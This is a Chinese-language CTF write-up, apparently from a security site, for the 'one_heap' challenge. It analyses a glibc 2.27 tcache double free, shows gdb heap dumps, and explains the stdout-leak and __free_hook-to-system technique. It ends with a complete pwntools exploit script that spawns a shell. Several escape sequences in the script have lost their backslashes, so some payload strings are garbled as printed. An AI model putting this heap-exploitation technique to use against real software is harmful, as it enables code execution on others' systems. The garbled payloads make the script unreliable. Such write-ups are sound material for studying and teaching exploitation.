Challenge
Analysis
checksec
CANARY : ENABLED
FORTIFY : ENABLED
NX : ENABLED
PIE : ENABLED
RELRO : FULL
菜单题,最多15次malloc,每次大小不超过0x7f;最多4次free,只能free上一次malloc的堆块,存在double free漏洞。
void delete_D90()
{
if ( !free_cnt_202014 )
exit(0);
free(ptr);
puts("Done!");
--free_cnt_202014;
}
在tache存在的情况下,两次free同一个堆块,没有任何检查,此时该tache的链会形成一个循环单链表,注意这里指针指向的是data部分。
gdb-peda$ x/80xg 0x555555757250
0x555555757250: 0x0000000000000000 0x0000000000000081
0x555555757260: 0x0000555555757260 0x0000000000006161
由于free的次数有限,因此我们选择破坏tcache_entry,这里记录了不同大小的chunk在tache中的次数,如果大于等于7,就不会再放入tache了。
if (tcache->counts[tc_idx] < mp_.tcache_count)
{
tcache_put (p, tc_idx);
return;
}
再次malloc会让我们部分修改当前堆块的fd为0x555555757010(此时的堆块大小为0x250),并未将0x250对应的counts修改为0x7,那么此时再free掉这块堆块的话,就会进入unsorted bin里。
gdb-peda$ x/80xg 0x555555757000
0x555555757000: 0x0000000000000000 0x0000000000000251
0x555555757010: 0x00007ffff7dcfca0 0x00007ffff7dcfca0
0x555555757020: 0x0707070707070707 0x0707070707070707
0x555555757030: 0x0707070707070707 0x0707070707070707
0x555555757040: 0x0707070707070707 0x0707070707070707
那么,再malloc的话,就会从这个unsorted bin里切了呢。同时,就会在tcache_entry对应的位置留下libc的地址。那么我们就可以利用留下来的libc搞事情了。比如0x555555757060对应的是tcache_entry[2]。
gdb-peda$ x/80xg 0x555555757000
0x555555757000: 0x0000000000000000 0x0000000000000051
0x555555757010: 0x0000000000000000 0x0000000000000000
0x555555757020: 0x0707070707070707 0x0707070707070707
0x555555757030: 0x0707070707070707 0x0707070707070707
0x555555757040: 0x0707070707070707 0x0707070707070707
0x555555757050: 0x0000000000000000 0x0000000000000021
0x555555757060: 0x0000155555326ca0 0x0000155555326ca0
0x555555757070: 0x0000000000000000 0x00000000000001e1
0x555555757080: 0x0000155555326ca0 0x0000155555326ca0
通过部分修改libc的低位,可以让libc指向_IO_stdout,然后修改其_flags和_IO_write_base的值,就可以完成leak。之后再利用一次修改__free_hook为system,即可完成利用。
gdb-peda$ p _IO_2_1_stdout_
$13 = {
file = {
_flags = 0xfbad1887,
_IO_read_ptr = 0x0 <_IO_2_1_stdout_+131> "n",
_IO_read_end = 0x0 <_IO_2_1_stdout_+131> "n",
_IO_read_base = 0x0 <_IO_2_1_stdout_+131> "n",
_IO_write_base = 0x0000155555327700 <_IO_2_1_stdout_+131> "n",
...
Solution
完整利用脚本如下,由于heap和libc那里分别有4个bit的随机化,最后成功的概率是1/256
#!/usr/bin/env python
# encoding: utf-8
from pwn import *
libc = ELF('./libc-2.27.so')
r = process('./one_heap', aslr=False)
def n(size, data):
r.sendlineafter('Your choice:', '1')
r.sendlineafter('size:', str(size))
r.sendlineafter('content', data)
def d():
r.sendlineafter('Your choice:', '2')
n(0x70, 'a'*10)
d()
d()
n(0x70, 'x10x70') # 1/16
n(0x70, 'b')
n(0x70, 'x00'*0x10 + 'x07'*0x30)
d()
n(0x40, p64(0)*2)
n(0x18, 'a'*8+'x60x77') # 1/16
n(0x40, p64(0xfbad1887) + p64(0)*3 + 'x00')
r.recvuntil('x00'*8)
libc.address = u64(r.recv(8)) - 0x3ed8b0
log.info('%#x' % libc.address)
n(0x18, p64(libc.sym['__free_hook']-8))
n(0x70, '/bin/shx00' + p64(libc.sym['system']))
d()
r.interactive()
推荐站内搜索:最好用的开发软件、免费开源系统、渗透测试工具云盘下载、最新渗透测试资料、最新黑客工具下载……
还没有评论,来说两句吧...